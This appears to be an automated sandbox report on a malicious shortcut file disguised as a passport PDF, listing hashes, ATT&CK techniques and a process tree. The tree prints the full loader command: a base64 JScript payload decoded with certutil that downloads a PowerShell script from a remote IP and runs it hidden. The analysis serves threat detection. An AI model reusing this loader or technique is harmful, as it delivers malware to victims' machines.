4f1fee2f1c7c247bdd7d0bb1e56a9a02372c0a8dbbd964e09b67156e347edd58

Analysis

max time kernel
298s
max time network
300s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
24/07/2026, 03:44

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ScanPassportiv1.pdf.lnk
Size 16KB
Sample260724-eak41afq7x
SHA256 4f1fee2f1c7c247bdd7d0bb1e56a9a02372c0a8dbbd964e09b67156e347edd58
MD5 790a993f25738e24fee85c9ece624cdb
SHA1 e6a62bac4aa5136f81f7035be0577c7c7daf7c0d
SHA512 c0bcc8b7f3ee569ef0bef8cb1efa716601c4b47efee09cf5116f0306c56b6526f17567ad62db47f38f006dd652d0954482a1693bba0050db1f8a638a7aeb1e48
SSDEEP 24:8d/elX3GQPJWInZNb2w1WOHmnTZzs+m9lzXireMHiSqi:8lGbnzHHmtu9lzX3SQ
TLSH
T1CE729E34B9F90259E5F3FFB2ADE0B6D8CDAAB6A36531526D5441030A5C00E40ED31B3B
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion execution

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
3	3036	cscript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Control Panel\International\Geo\Nation	cmd.exe

Deobfuscate/Decode Files or Information 1 TTPs 2 IoCs

Payload decoded via CertUtil.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
3308	cmd.exe
1036	certutil.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2036	cmd.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2036 wrote to memory of 3308	2036	cmd.exe	86
PID 3308 wrote to memory of 1036	3308	cmd.exe	87
PID 3308 wrote to memory of 3036	3308	cmd.exe	88

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\ScanPassportiv1.pdf.lnk
1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2036
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c "pushd C:\Users\Admin\AppData\Local\Temp && echo dmFyIGg9bmV3IEFjdGl2ZVhPYmplY3QoIk1TWE1MMi5TZXJ2ZXJYTUxIVFRQLjYuMCIpO2gub3BlbigiR0VUIiwiaHR0cDovLzE4NS45NS4xNTYuNzQvc3pjaDIxMDcvd2VzdHJlYWRlci5wczEiLGZhbHNlKTtoLnNldFJlcXVlc3RIZWFkZXIoIlVzZXItQWdlbnQiLCJVQSBXaW5kb3dzUG93ZXJTaGVsbCIpO2guc2VuZCgpO25ldyBBY3RpdmVYT2JqZWN0KCJTaGVsbC5BcHBsaWNhdGlvbiIpLlNoZWxsRXhlY3V0ZSgicG93ZXJzaGVsbC5leGUiLCItTm9QIC1XIEhpZGRlbiAtQyAiK2gucmVzcG9uc2VUZXh0LCIiLCJvcGVuIiwwKTs= > NK.dat && certutil -f -decode NK.dat WDcaHL.js >nul && dir NK.dat >nul && cscript //nologo //b WDcaHL.js && del NK.dat WDcaHL.js"
  2⤵
  - Deobfuscate/Decode Files or Information
  - Suspicious use of WriteProcessMemory
  PID:3308
- - C:\Windows\system32\certutil.exe
    certutil -f -decode NK.dat WDcaHL.js
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1036
- - C:\Windows\system32\cscript.exe
    cscript //nologo //b WDcaHL.js
    3⤵
    - Badlisted process makes network request
    PID:3036

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Deobfuscate/Decode Files or Information

T1140

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

NK.dat

Path C:\Users\Admin\AppData\Local\Temp\NK.dat
Size 408B
SHA256 3c957000d2ba68b7616b5679785aec00ca34ae7e5c59d94ea0cd13ce53f28a15
MD5 650e7fd5437a3c94d99c451917b57e83
SHA1 4cfd511dc2e57accd522b424113ea23a6a5f7909
SHA512 6460a7435597a8935162fb0e80ac08c91b0ddfe86a73ef2f5240641968528816914f08c9bfbd610a9b479b9d110f4ad06871f68ed10d5a82f405649bec418b5b
TLSH
T11DE0ABC9E08F67639670320AAFE56BA9E0589988154526664B402C8D3A5EAD8D40208D
MD5 SHA1 SHA512 TLSH

Submit Download

WDcaHL.js

Path C:\Users\Admin\AppData\Local\Temp\WDcaHL.js
Size 302B
SHA256 ade35f3a678b9a87f5c87aed3d5bb7e02dc76a0f8a1754f17fb84d2e1b15669f
MD5 d138bfb093cfdafd9e5ece6415675e90
SHA1 a9bea84dc109cb9e077ff0516005dbeb098026de
SHA512 1d570ce18324d5ef6dad704229edcd19555081d2e2f3b18c1c10befd5b423f73be2503288d3d2e4e938e357f129233286f34fb39140e132816e3e921e3e3cbcb
TLSH
T172E07D544074A1DD50CB9FEC9450C66081DBC0A57002A8BFB345C9D91851204516D28E
MD5 SHA1 SHA512 TLSH